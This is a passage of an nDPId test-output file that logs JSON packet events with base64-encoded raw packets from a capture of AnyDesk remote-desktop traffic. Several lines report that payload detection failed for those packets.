npkUH9dtfLknVmAvN7T5B5x37+0kDqd8Q2hgfWSYrOPI1MPvH+Yj6+LXbjDQxPeMtgsdzPgOjT2xIPVdOc0QUjZEtltPSIlk78jw2sTCZFLDMdnXXCyamFhqDODIHqcqB9CV2bJ\/GSukk1pHY5tvBTASnG0oh7dT89tWYvodrP2\/ljId3XMRbIlbJSMS\/0IGNB\/uCJUgf4U5oBApLJYGaTom0ekeCHj4yBkDbGYvSjCtKVv3kcgjZ3Sr1r4HmmryBYI21+4sOImHjXXBpBdBY5sqwDh7wfNjW+2kD\/OycrNVpjvWfj7L8\/UHfktwe\/eF2SyXan\/V6hjB8KtQTV8jHrBE2aB6VHGu7xqmke5r5XQh7BMg4iIacbxPEF6WxstxdZ\/QBpzB+2k4HVs\/eTuFMrs4KmdOQS1hXCZtFtLOvBA6UV2Eqpr1k0LZhFoJk5QQSdC+d3tuqmmm7L\/g8Q4E314brWc8gfu6ai+r0NfF\/l7WhKCejLuhEJPQILneLWuueu+NXDK1Uh6+lhXAmPWNI9C+wMM\/MgzHZL5OpPT08+gYtWGOirDiaz4HA1fH4pilKo4MBuA1bx7NdV2Z1j+cOMmqcdBaojXLXHCVYfT71SSKIVNxSN9npyc1msNe0tbziQQkNBN\/196A6nMM\/U+D7vfC6aqfqFXTX1jh\/r2OrZZH18oGVgP+prLj4gvzUCqe9RfrYtiLcmqswn622KFgyy6H17X1NxS\/MV9TF3VnDWn65TEuELzYSjFPTCGXH\/VQjpZcz9O8ftD22ZmIt4diLk2PRBMg7N7fI9RKLuF6AL\/s0zqOn7JpnRXImGRkOHkQueta6GijQ4wv+rSBAxbvKURLiV4RWkbo0IbHT8uf25Aw617DARBLvziZ55TgoSbwta1cXPZozXcr2u3WyqOG3X5vq9rrHLjKMEE+OSCtrFfrv4v42nDK4x7Z\/YM76uthdMRbZKNu3kapze9s\/YE5qbfyru27G+9qBgmCpMvsgl7behTiqVBL9dX3rMX1D\/tt7yt\/k5dJIL4kg4RNS6nqVOcFaAX48F3rF4bZL82BPx4zgsw5DesAtTxtQEmFxAonufGpn8qqA\/hlo\/SBvhtTtrLXW+OOw1SFdqN0ltKdKSckabuVClwGUSABAYKV7sytC1YEmjTdiKfHw9YMU5RKeyN856lxVAxnEpYeSE4HHl1mNsvrDh3J0PdQZx++dEWYsyGXbFDiOl8VU3\/nikaahH8kXahEtIWQFODAgWm3rcNAcHfK8AOaEjzH31jX6\/jg45owWyKFTVvv++Z25yFRjqSLB2hhJ7eFQkRaCaFcX3apODQFW8sFttdxzXijwGhHUdZS7\/0uadpHP0Ylj3F2eBCp248EGxsiFdmqi3YYOgqDceFcD6S136d3cDmYdIcacM\/FPe\/pdtIcEFX5E1WQY+TYsdhGd2PCryOIEKEmam6n9chdAQMTf2WaQPD+Cmm3PQ29TiMwAyy5tSO71OuId9KYHUisZ6UKfOZUWaKr2R5jNW6coblRndRxQLCfSoHHrU660FbxD76klpaOtRbPrAb2AwlpPjKhCpycKqFCJJEe9B2e\/5Z7bokcj1hvq\/FiDfvwff5zIFCkGIOgC+WVZQfJkr8AHi+xqJcoAGVid7GD83DReqalZ0FHMDbZ6+c62\/PFC6lNLm1+Rn4jK9YID1h3vz4JsYXQ8Dar7ku4tbB1LzayH\/M6dPEpNtFjegYzz6khrxekli6QpAfRK+R3EBqaIa8NQWfF6Z4XtDRcKHTCjLk3FnPgfynGrIo6pCLj4aB+DPavo73J3jBHJEXzfpBsDyDE6IFe1V3mopcCQ6S1YuipaxRXua0GIYU8+YRWo4iW1eYGzL638KhtSDJS\/FtYLcn8rcx7NLdOSk87Zjk8Fjhqy"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1807,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1610} +03112{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1808,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977611,"pkt_ts_usec":102904,"pkt_caplen":2071,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2071,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgllAAIAGAADAqAG7wKgBstOUG56PLQpgWcQ\/5FAYIA6ExAAAFwMDB9xZ4hNO+msWlbdHGw3V+nHhYBSU3QburZ5mKEja0HfA+6RE8XBPK2lK57KBdP+ExGXKlS8zZqVmRXDtHOYSuinqhZyrxFjErGNmjEPrBZotRCDmsSZg3AW9H5wN1VUYzVi6M6x+\/wL99AvwFp49VDw+L3QQFjZBx7rejbgq167L5Y2QiH\/7FZS5iAjShEFvyoZf+4LZmq7TI5DMjxNIEC7OkKiA0KCYhWntZTWXjqefAS7QxAhkr5EgmgbJsjSX2KmHsepqtcO80COt0WsuQZT6xznq0EOGPUwnHT8FKVTTGdSymHmKZuNY5wWRLBTE+lBQCc76bDai1kNGv9RVzo5rxfkvT42N+MU4QXlAODic3fzfOfKOwidgr9HFTttvdqql5NCGP32\/ZzfPz4GrP05COMnD602oijwAHHUoEDH3MRS7HVZ4jsIBNO4Mzrs6Wnm+7Gc4w69F1eE7UmVpH7BA8kLzeXKFaFWjO+x4bSrBEm0gfLI77DMCXX6v2cv1glCxgykiifyG3AjYT8yvJE\/Hbl6VJ6WzfSCAfgroe\/Eh6pndMHrAds75R5JAFyO1EF79yhY80oDPvG5v2M5eBQHZBJgR1X8lfIeu9+mImZipVZREwfA1cArRFWmPScYM2HYTXoJys1ktRsIfsswbEZ0BP4dcDINnmSkmPUc3DyTarWADv6qF\/iWNI3u\/cNtaB3oUcmfPyL\/CxrtBHk75kkyQ5TuW+PdudlibwFPx\/oQTrbVPZcMFaSIK4vzCpIj0kK+38LriHh4cizvLfKuWxzPvzkH9nJX1meSMX+tuX\/4ogiqK0upVtpbR2wAELROTa1bbj2WwZmkkIh13KqbYRmKSdp1Ny2CQs0Mpq++4KfGckePzDo9fG8\/nMosc4mtfQZ17l5CAB8i0WSOiJbyV4N\/tfVzCZzQH\/tqCj0PQKunhJqgLXfSxbn7uoeoikwS2M7BmQwbDqJsIRG7t7TbKDrxq\/IapZ3TXYp4d87WhjgvkvXQjU9lRXOS9cMFGfYhoDN2LltoOuTXbB0rlqTT140vqSykWPGVADPj2+ZGaah\/FfzfnsUmYGZhcrYJd8IaCYDULmCqcvhoCLNLw4AMOIybm\/dFxNzLmvf+IaBiSTZuL71N1FoiWHaRnzqwiNAW3VuNa1GQ31lpjxy2GetoSlbLKNxZgP63HS5xVSQkfOmKfH4D8R\/fQmDiyK+DVw5f3yya6IcVzNUk3z4zgmI68ryZ50Cpi77bO3j1qiOvCfVmXIuiXQtkPBqH8xMxBVO+Wc6lecsFclpzu7RkW4kZQG3fspVofOsKLDtbBM6QPO\/ldoN0Y+BKvswWLqL3wyESmAU2eiKVvZ78JXe93r5CCu3H63DaHAIuuREtNqpHMT+cVCvxKtSynT22\/ZAFPEdBTCJhNwR7427MG3jtqWDlfHiHMX1aGmkndD1hkqXYKLoCxxFmv4fiyeys1oZry73q4P7zvSOgAzX5bnNCAfMy2DMMMURfXGpoh9joMIl2Guw8EfSC229fOqSPf6D7N8zneTCjA4lgJ1hmmIEVe3iVcV99ui8mD8JClfN0pCT9UcT2OsMjJNfvX4TBfY0P197PB6IuzWYOvfblGtuY3LK80CGPPh\/XRLup2hi\/FKaa\/iNF\/R5TSGT1oz+TYhfCBfhSXEZ5iZyxBltiDzBMokJ1wzuw5ZR7w2MdVcyKg7nMcKrgr2mm8fJyK04fU8OA\/GcR0tdS\/IKEZIMdjqsknLIjep92O5jnSpqvhvmLBRz7bUwNP6vEvGWckQlJwG9OihT328B2VPc0lw1pyqEw370OM\/lCVzjvuUOZymzkQZ8DGXVKiLf8b0h3Qn9rHUcKXx4IBD1LibPXK3bYRAzXrXh0RYyjAvWoni9qr3xE0zUP+n+fwjGTIkG4m0yja2fr9aI60k9+EJ\/ZYfzgfj1fT7K+eYgNRMN94WYESDjTlmQANcI5WkajWp6wMe4NvmkDvMyDcDr2T1OeN\/bQYYZ82uUx\/JGzvVKBT7DNPi6\/fOt78m2RqyB60i8aCZazOnRAufYITXci3oPIkD89JunTMmpBVypqyE0RP4j1uKCmNsSS\/7OEh8G14e4hyyfw4DWobj0qmU+A8TOKles40yJK5qrlfI0l8o2aVdAIGl7U2Zi\/8Y2hDhDQyUybWNvlPNTWGi\/zifn0NTql2RcCzK1s+GQGMceKxU0cDsTXZVmdMxVvmExrhS+AoCuqBfIm0k2kaYC4Rpg7kTAnYtsaQoc+12TKuQdMg7AHGjGZj7nQtymr3+Z4jXuqcSVow2p3XqX9B7aMRteEXEt2V+VW+8Bfp\/kguxp4zOx\/ti0KNnBSE5FzYx6eyttkc0Y02LaiqUPpYGt8VLm5WdXJuvpE+2wfywexlAuHwCmP4XSjXzDE78HB216EUoJhfcS8iKXK5EWCWrUyQS78p285Tz6Yl17OxYgBsNmRbWu9e\/WUsZBfiQwyrqAmPN3UKPPS+Zf8eEUGRf3eVK2BujKNnp2hT7ipgQLYrXTct9WhFTJnw7rVuhy\/hn32iP88nem3g6itcWQEjGpR0uWG0oiMlj2twl2KnRXcu\/\/fZwb9yhzUyUCe+hIQY5+Zbr+tz9ri8mucvmWJ7nvP4fH1L6d8TyiMmw03xZhH\/\/utkyFm5n1dR\/h+ISBgyqb5CuLbyrB6CKesc8MkXmQ=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1808,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2037} +04034{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1810,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977611,"pkt_ts_usec":103207,"pkt_caplen":2748,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2748,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgltAAIAGAADAqAG7wKgBstOUG56PLRJBWcQ\/5FAYIA6ExAAAFwMDCoFZ4hNO+msWlt07WR2a\/D\/znD8FdZcNXMsTQWj27ZvShiiqW2zqasQQjO0bXW8yiWzBjBjIAQ35rU+BsMuoKKqPjgPT2jN\/3n+t6EK3OsalU+5q9Q0IoYQU79u1EWRsHrFifbIeo+2q5VtYFeJTto2gDcJl744Vr7OvbqwvYRuGQ3oKjwsJlHSsFNTrFI2ZFGviO5pNQ8dJqCF+dGJL7qgrvkSpq2wT6NXxdZ2wQBJViSBTgksMn4E6v1PYcxoIkdltUJBHfmpcSgvKeci4KRNxLkLU0VW9sBHrtaoOr8Y4Aw\/EJCKFZbpl0VmwsbP0FAgfefEp2+bMOZ29O5ezE3s7JX6poBUJjTf\/5ruHsvM5gNhpOaE58jRNOB+SqIKiNQeu1\/52to4Xwc7kv3IzPHUldzW1bzPCElnQwY\/RxWkbTgGnFzA2CtmkSEAUcH0KVCUZ+azqXZP2d7bP8m7+KkOlWyOeye1Y59VZ2YzG46B6n4IrRx6G8RLwe\/sjlg1qUGiy9uSndbIXl5MLadvAqW179pOj9JLGuyPDNp+KdeSr4EOZc+93kOfeoMutxCNfOZsspb+RdKqsDvLuiQ5b3YvgeZtv4HmnyPW3pSuk+Eo\/a27eGMpuVO\/uJ6g7TwRWid+k2r1IXlMYsS5GbQXnpc+4DZE0qCCJl9pQSeqFORAr2nlhga34o\/Rx+\/Nrb+ngk5KUzDIeKM6sAYxXKgR4nKMyDh8L5iVaf8mJflkIxtzicIovlWfVsjdeePTC3pMX9Nr5BFpI9KCSh2foeXsl2CRbZe47yeNr4rNo9fMkbZ4Q5+FF0qrH1uKgBQUf4ZE6q4njpT0IxE9XVAvWhnP5lgID68WXmbPcNQONlWP15\/Gh\/\/jGMF7qVv931XvbPY6wJMcdUySVg3Z+g6xcH2Zoy0jRUlTqcPxbF0n0l5Xq\/\/OTp5Qsi6J3XtyDTkOrE6EiAk4ixcR7XM6trdOIm\/JSSsdZej+LRTgGv2LJDx3AljIuzQgYmFz7OnntDz6I6THpjI39VO6E7cNa5K+Kcs8yWsRyqCpZRhhb0YB\/5tqRsmdEbZhOKAHVdckxB0frBk6MBrGPfFrU0GoKEbguhQ1\/IqA4R0\/UQSYW4+J1PH3dl0EcJM+cqzNtgE1AUhFDR0FxONDZdiD\/r75iwl3TqEU+fbbZUEJlmdDMspreO3J8TPp5cR2LSXuFzPj2RYti1ESL\/\/GBJuDfjCcTTnTvkSZS0hcaOAbBDFeYngSRjgzYrt43yNjTY6IfQOnbCFPNfbjYa6VeRhuqJZWqrjNS+KcPRZFsXRXulv69dGakJJRE5g+4tG7nNnU1Yl\/Jj8Pm+qRfaFgcqPAYRPRvzcxXfx8LNIaNvmbDnq8uAOu4XmvCZQ14fUkKPVBodDr19U3bPCeHuVKg7GP553Z3n\/kR6JbF7Fotq\/6hbgDq1bhX7FWcF07D\/5MpvITgNj2w2TkdyLju4loRVZR\/rWms8sL8Br6s+YsPYMOs67jk6pKjZ+szvZ\/MshSHiwRsZry64AHwbJhc1Dc23FGTM1Ib9daxFIOQwCGd\/CMvJxHxqROHnbEMzutJ7LyZG\/ewDAaQOifbXxLYuUlBoDvICaUVtUO45xctMhegohWBP5YmX+fK7faTSg2wV0qeOYjJtu1gukx7jTGjUMqkYx3WUGvdKlAj6XJ8r5kMWmVuJg36LJoUryljES+hSzdy08Kv\/eUr6v05+VGdiYDDiJ+rbwiJSEgFalJ+lH2qzCWxrso0Y6XkJGtSJA8NzufZph\/5B0VlapT36XhDcLuXqZUMNqNggfh\/7KHAKry5FFaLVrwwyxLUei1c7en2JH7PPwPq29E6xyF09m8+sF8eG61jMBygQ6ttaP1aFOFlJnaQNIbWlZpkiCnpPZtFEGuyeWCHruxMGWLvOtRX+jodAcPy6v3AjUTw167gB2RAOoxDmW1Pn7YDPll+l+Zffdt0XnD\/JpNOUU\/TYZRgVGlJvEdl9t0RePkgwETIlccWloFokgNt5rbhNSvkzh1CszwEWLopvuKNdRnIGI+5LsyhqvzJbS6UJLNYwstdteX7\/ZU+S3kHGm5jR6dTVzzwIH2yAT9eqe\/p1AuZvkqL7pvZA\/Zw3Gc4XcLC613jSs3st\/agtcMuMsCbqxbhs3As2BYztvenXds6OzpR4vO7IP4cUQFfZvR0AtA0yz5ZqRjLMC+bV+hrmIuWv8Vaz8zawlUJ97QfoYqFKvfCSBrNVvKtTWtVIBn9BSg+dwh6T3rhqebYNGJk1JRbitS+rTcCdeOfbkG25krZAOigP5XjSziaReOtb3++LTq4mzYt1paLwyV1ha71gyy\/sCLGXXCGrqiZj2M4Xl2YpNx6IiYQTgjJbnmf\/SKeX7LcLfhZ9uZd1hMQTV\/PzZHaRvcw52kDHRmmT019j0CxcbV\/rESF\/DnIaJmZGzS5HFJMWwbJILP6fDz21HFliz5h3zPlvsZEwwwg6KNZbIcN1WpuomWTbEMQWvRLgpymEuB31Rv5qzg2EiQVVbq9J\/Yg7yyCMvuA9RBePzidb8TfwzDRqWYyKF2pqpiVYU43xc3LfSOn4ti9UAiAXzp7GQZ3A0kSQbTlCZTXtlmS955OyhhajnMvVW+6TF7P394+4V+QJDEjN+SxDvUN12buigALtZy4Y4js5XDUMrkHvX1TG1V3TOg3sqTFWridI\/Ao5X+6W23x6c5u3eKpM\/4Mu57+FqNyUKBii9wM09f4wr9amW\/ZkA+9AbDqhq7QXh4aoIqUybSEaHNDgxnNToCkeRFTTlIOt\/9qrDuEzqjo0kYZ5nbey0hYKZibE1ylnKzfwqVzX166onZodZWMiiMPhTRMAP3nolLcysnh35wCSHYY0lMpy98Io6udppewbDWgpEbbdvKhB+EmDomR8FOw9lIMx0FerZPKALPwphFt9EDp2r82Cji84sfxEvvPN7++npu\/K6qqtDtGhDgqEGxKgm1fjBhM2BwjcAqA5mySU3JfCebqBSQ+DKigZZiBFI75uCpoC9jo8VxnOet\/Npr\/ixACPc2vqRa8agqFC8v8aE\/iYwyXl+xqDizSB6zntiHQwaIvsrzjd8o6yI1JrSFxiTnDW60iA5Bi0fPkLyJ694kl5LSJJudxryXoMFCgEPHooACNUjpNAmEQIkLagOLcN2Sgi8kgVRKdQg9Ry4Hb+myhtSzJvhvTRbaZDz+PzxxoD4vkzdQqNqGyn9ASXCSMUZfyy8H\/zWrh9\/OQVQNqMt4N12A\/G8Ar5eSDva32IVmvZR5l8nyEYMbSj77nb6Zlk0dokX22UMuhz7DhHN4wb38bXgFBjk++egfj9+cPXodDcbVSfL1MWH1RsufwSCEvpX3+MyW+XRPgJNvGXnCrnfx3iVx4rgmeabahYOjT982hlr6BzsRwe0E1Lcg4RXLg4\/\/or0ALY2lKUTg+\/mjy34irVovmHaS7iUyCE1+UyfXES4M7AG7+SiKRTctEl7IMDW0lWJk1WpDK25akd567SURpx3afXp0SHQGlrzvch7BMT9U7sZTZ0yzyDGSshoCzs\/EopAc+l\/C53Vedso7iWM9JR+7\/nQA1Pz79"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1810,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2714} +05147{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1823,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977611,"pkt_ts_usec":132722,"pkt_caplen":3575,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3575,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgm1AAIAGAADAqAG7wKgBstOUG56PLSaoWcRAQlAYIBSExAAAFwMDDbxZ4hNO+msWmvwiQbk19Oy6m9kQyiGEf8DtkqL6lSpvJ6eJErfaCm4YIovTz+O+vFjKLMwyIeaAelTc+qlU1IXAbcJe8CLawPYjVdlLHlnV\/3BpiPFQVyE20PApObK3pM3a1oWio9+vCAlDTYMuIF7WYyuSmy6Uh9T\/t3ivpPCTf1xFNo6sOmg0Q31cCcTvIb+hHiDV4zpnNcLeGBxGWCQpHcL2Mc8VMUj5nERTkfiSkd7akqmbsyc1ClnMhgpZF42pqWI1sf2OE0JepNHPbHNIaUpwSuS2aT5Eeh7mH\/silmb9hdwdN5sRpx9cbJDmRoWEXb78Fm8Q+JvdwOQPoUJtWLJfHYQ8M2yg7rcdOqCjg5gc22+eFTQYYACs8GD5iDeHFaWQD+fHqCum4Dus1f75o6k7aLEDBUVzqXirCnyOov37TqelTBUgIgvqsJb6wrploDlg0G1mj+fLx8m3Uw4QAyPP5Qrdgp8Hpr0dYO8S78wp\/4f+lJA7x\/bFVOvAnSdWacd\/naHTC8uUdjldKk1UTgIjyuLjeKHAEGwUVrIyW6wqSfo9Eu097vzfydUAnxTkru+CDe8ha8\/\/TA0UJVMBftGOIaVLMvrChQbsKLeuKQhVltoEZelJFGErgm+AQ5itJzL0IX1XmCGVn+o\/fLaElRHRxBQ201bNWDkxmi14ZJMTYczstDffeygJgw4DNVs4V3FwWG6Xjzz0TM7qrq6abubbHA+ddjF21x9ndiXmecZobYzKQsHTb8jLEUfujWtHbdH3scOmyzjYfdxd8UePUF5kZRQ3imWsrvKtndvV66Hl1AhaTtdnLdynojzDozeGqbFIsUlh0OueTX+CmCiQ5+E99G8kJQb7US3FGVvaA+8B0DduvS1aOE33QCFYChrywSIp1CtxYAa1sjpO1+nn+PVZ2dlWZiL6yN6CFamjvU\/rP6aR2mVmYQMwTEj67tTxOgo68VfS0QuKlMsjFwYLVLNAS+geXr0wjOocPmt10U+\/NuP5hxsO3t37\/JeUOfknGz2\/n5q62UKQ9cGUZeTgskE8Eam5cSNr+Xswk0HMSmpxvsppxuYrI2kgIKvWFkREAauaFFxX4BgA28n18JxaeyAdHKQhLmdwpY\/EljoJuP7GFUc9MEuN\/nEmTOTzuJCR1HNK1WhJ5skYCDUEHbxvWOogdlreNIb3aZIVAJF3jcG\/Oh8GKyB7vw3vR\/2I4e4G2qrKlGYI0w1X+eG4qg8nOxQDwEoHPDijNrw74MDLP3P7xh1u07N0R\/BGhDr6CKhRz5PUd2JXg3aPBcUgE3m1a78rbEoXTkhkHX1+R98pvwybk3zDvJnmUi0r9vUe01bc\/iahWf\/bOq+VQSjeJ+oVjy78D4MhR4l4c3uY1e7NLFioiFuvxzraJz1ldwNS60qZEs3CnsaAFvhmCWOVBzqqDxam+e+Yi5PWAXOROCHVeLpwg3S6MFZnnwImlPalQvL9gEu2ruyb\/wM3DZVNLnnILLq18FwldVMi\/RGnZPNAGmXdDpNLsSCO2UykALNTXhtG1Va06e1NTj3EABej25IZzyANIsd1l4IZKWQO7agt3XOnj6h2Gess17FHtDaxlxz5OgMVO9OIMmka52QhCtjayNf0yYWqTdbmZwI8AHCCQX1HhlLK4Tp5Xs4GRYK285LhzJc8ZS20NyvX6mh+botOQBll6uJLWaW\/BRVRfibWjsmyr\/Oe2Pe0Y5Asf9P6mbdInU3UlQIFsBhwIL831zi9OWayCa8Pf4WdqMYjU+tZNxzgfLoYW1hiA6lyaBleVLi1TS2vWiEMbs5ymG7\/NrErf44DQwGfS4cUTYFKjUkfcI0l91toM3tDTMiL7BWBI6QH9TIQNzOBcCTqxc95NdHlaKF4eklnaLPumdYFCkhftZ5oTBtpbyx1JMBxf7zWUNHtqicTUiV8Ez+TsEnfQXxU9KnFiQA73MnyNi+N87hG5VkWTuoXnZZ4ZdQA2UCgzaN39OkXfD82F2XAauPycPrSxr2AFyf6UU1OqEui3K1H4bcS7nYmMwmGvghv0RMEPsH1mWlxidqtvXom+FTbmoR21ykbbTodGCeVzfGaRQq6jZ7aGVnP39wD82Z5HWf88b+SYD7oBcPJlsBnRfiVQbTNVOB2n0asYBQxXiY3UII1H+LEoRG82R02tN8lArEPD5Gr0QLRXPAQB2SM+crVMOoCft842+tvrEdkWrpRZSVNKc647b9v59vRPYFcbk3v0pLGJVxOHX5bEGk7N9PvZJYkEzUBN4IeUuGtXn0VqemX0WsuOxvIHCI4Blm03P7gRWKh6N1KYAoJ1wCDqkyOHwxUznsh3b1RTp17y8f1sQml9muksZ7iGSF7+lmIlnvPekitIsDEH\/EDKczy7h8xzuWPIHSpMtbunXs4khIdIcANaEXuOpaW7vpusMfVlBsIvWv5DcyPJZR56fKG3xzOPwdjt6N1sSEZVaDBuCI386U2b4TTMV9CwmEbz\/SViUUKoHzTQayKOXor77KHzVOYqxTseS0ZNIs\/d\/bWuFaPoyS37XwUmHkW\/TjPJa8eiflgPb3GE+U7JdLEcK3MsqfT9zbFjIo4nhE69fA6lR\/QrD\/etks6yPe8LOt9zD\/JtmCROE8OzsTeABXLp772TDSWJu5N\/2QBWfLCS\/elDc4yzqXaPfkeOtLq5guOpN4v8e+A+nZ\/42ZgpKUJuNw1h1Y4ZstNstbFGr9sxim+e1k20vHFD\/5CHkekA1GN4G+JSyS7Cy6Fznc3sirPFemrNz74yp5XELx6lU90Ytf7jEodypTHvSL4Rv2\/MdPT90OB8NGsjRsWBx32jdutalURn3S\/ZeG6Ks7LNljW18ko9WrWMSsqk8\/yCQRUmr31ajIRh0LstdTobATQtXUwOR7Urf8GlMDU+cXO2oGs\/q9Vqqzep5lVNxjW520Bf0SLkSznpDS2tjiOCTXGXLaJ4czk7U3t6IZG3BiabpFKv9p\/tOqepDtdb05FKsczmoCTxAY\/le3P4g4iwQW43lYr7Kz87qOpAE0lX9PxdYqsT9NBThh7WWAEgGUUXDoMfgL0UG8eiDAU3F2wUI1lR3iqg9zx0BrJxPxQjIOhmRdku00ywg+aXLDUgpR40a\/aGRKvCFzleVx9qcreIKbZ1MTGrtrtU7HWW+lb4kIkZ9Icbs5SMYDSxTv+0eTsi4XJQ0uFpZYoQ5istBN3RZC+Dp5QWo3\/PTz4TQrdtyuKSUH8QzfTPHfGi5TFD8oDaxpjZ\/cexnPqk6XMJH3JURAgLcZiNTOAw2t6OdoxCwwjVt4L\/dNANg+1MEOE8ghcX4viI0wnqcXrlDQLvMFANiAKWqCnSUQIr7ml16GZm7543uWK\/Na9R3kFWZFU6bU2YCgJWuBMueBcCBcNV+8SFOn2ou5hVvdw8n81hrwbrbHqBPUX55gd\/AppNLXdnRQO5A9bptEZweze0kmWpVzIVJHQLFO\/UHT0FlWK94ZQm7Y33o9YT55ni8OioU4qqJgX9TdDwmnTm+RoJ4k6Fp\/SjH03HZF2yZZ7\/a3z36QW2RrCr7IomfQbJBPUpY0o\/DtpeXvkcGIEJ\/OlUSd84w91AUP15Lri687oI1U9DGZZavm0sW+SDt1IRhenanG2k\/4xCTaSEPgrR4gAEDrNXfpwsPfp4+DGewgK09bQ70BtRdv5Q\/fH4PFDGX8dxHY25k+ii29VrFT4GnUIW7YpK9BUh2Mdb4FZBLHVGpcOeY9WAUYQ0RAqMiFIuDN\/wR2TQHFKOBVm+RsH0CPbho736x1zokiQ0lOdV0ogyE1HD2v6YyrKbJcZN+7OTaJaUAH8shVlTrf\/cVwbpvMnMlEpi5S\/4FfzI07+35n1AWx5QNTlgvHi3huPwwurQfQIGsfzapcaWq\/ghMK9pCh3UUFdEXrcB0fLnXunW7N2x2ppyD1PG9dU5mOTbWgQTy+HA+tzq8zemKujV7Q4WW4138HcVudbb727vk5g1WQL+BX8B8gsSi4wngMn\/4pS73qAdEzPd7XjmhI8dHwEBasNnGPCWJxx9MM6h227R\/CK1wth10vD\/\/qyQFNU5JpEltka+fA6dtcCqdChTcQxyyfELnM2MOEWM4YvKackAsmFhFkU+cnnGHMnvccPqIjP\/+IkDDzisrBlxnQskUHm0UAILT7NbNURuVHz+Mjd7IVTgXeEdIgwibwtb5a41cUFx+Ir6q02UQzZDsXsxlVYN\/hZN7MAc87ko9JQI4LHHz+nOU7kGD17LYChTXTZQeiUJA1tRNyvIx4Sx5dIDYwWacmmZsIxWzpuBwW8cFlAy6CJtGk2KFIOE7CKaXyA7cVpTNZunJ0TEEtdTmsk44RoH7lLE+E5NhDakD85XjJvO07\/Ldqy3BMPa0AG1KH8zOa9cryFc36MCu6jkt30wcZcUdpKFQRLcr2Mb8J0X70siUgE\/8f2TZBSolBeotLsN4++QtiEDkIf\/OuyLYEMJThj9AxQjoNfIf9CJkJk3Hcv+\/qvul8kkdWZPYR2lU\/1WMgJeWMDuCLqbBy5oFHbxmAE3f\/U9LqLhe7tqAjeZZlj5OM5F6Ixlq+LenvtykXztPX5F4qVGdiZIpV6lkYn6PcGMdwTOWCX20Puflq7SoS2cT5zUBAmGHEefL+KuIqg9jIdk6W6J\/uM20XMAG1VihmTLZFqjB30wp8CEwPmYZHBQ\/7tMek="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1823,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3541} +03060{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1834,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977611,"pkt_ts_usec":163030,"pkt_caplen":2043,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2043,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgoBAAIAGAADAqAG7wKgBstOUG56PLTdbWcRAoFAYIBSExAAAFwMDB8BZ4hNO+msWnUQfu6bMw15COtb7cIODlS9zPp5whvbFxDejFTpx6L9d8oOmRahbGcTFs0RoaopuTCPY5WozySHnI995LB1d5kqtiPjRXYB2wGo7uSsp6Pt4+qrKpmyVDGYDz29MSnGf0aBffyOaH3yXbAyrrwfh\/PlyD4nMDzoccg0caooHbcv4w4QhOw24apfNrqltuvg2S8YBif\/CTz+1+sE9ikn8ZnfEeiWVeB5V3KMEsqj6tMkBIaqLFU74HbP1DqHo1TtAjOG7K9XOZbWeHX5jfqSSqkycP4oHVO1PSkPT7zZRenVdTfPfrQS1DktCQqSsRzEbadKl3km+CLdTsdnHMYypE7e7kDkdAj0f5Olw2PErThhEKTQNlTeoqR+sW+b1HI2JaNwADpBnCAV13nUoxsQYNDqyrG\/N5wRYrECE4kL0WJx9malQsoZ3vsftopNQzLFHVOdxECofTTid9oDt2rIrTWmrfB3ifmj3AVB45rRcu5rxQ4ON9MQPbS20skzLh2+RexD6D8Zo+PrSYITMIM+TYFPKx4nfOMXR5SFl1kRBiBSHljHhkNN0\/z0ciE6olO67obYOQ3G+idkMD24JXWxaO6wvGmMKls8YUgw4ZVu0fp3K\/4Rwr7R7TJLWMjcZso6n0o0dRdqqR09+spth+oGjklTCsvOf8l7Gwr7QgSHzrhXIULad9cENsRB+qCRKMWwBwPNNj+0LO2FYDaPe1ziqRmC5LXn0+LMz1PulLwXzdw7K\/uDi9WW+BhAl1Uz6139ytOCqdhZUuR2hg1\/aZ0cmuioOgoj2+JFhi8WitQowtnMJO41fl5zxYTP4jj4oUEXH2xBCgUgj+J7UMtiofx3UH1o96+6tmUqNbGvcK\/iOmT83ZEZtubTYM3HiqIfQLQCXLH1yz2e7HLiv\/I0KbAw3yKj8xcgT8aOAtCIwdthL8smWkl\/kY72OfiJ2CcHUTuZDw\/b+dWPtoeBmjlWkFTr0Odnzr4RjK8H5guuJvBaIActGKLUfIpua6m9VjMoUBnaHr7EstsZQoDfnEdaqZcG58F8Yyt1j564uAMsDYxZ9\/7AfJr3reIL1eoB+z\/FrjjEDpEbP8zRWxfXavMldWUZCA2vrlzZfBKZKB69cSd5qaJAsvyt+zUXnPsjXy\/K5q93T6mJv+fPr1ABv+GfkML1eWd4tyZqLZrhDIv9hsxkPFnANx6QN51GjF9Q9b1engIVXDWDCYGsuY70RmE+hZizJDReUDinYTJf2ZfX3lbgPBzk8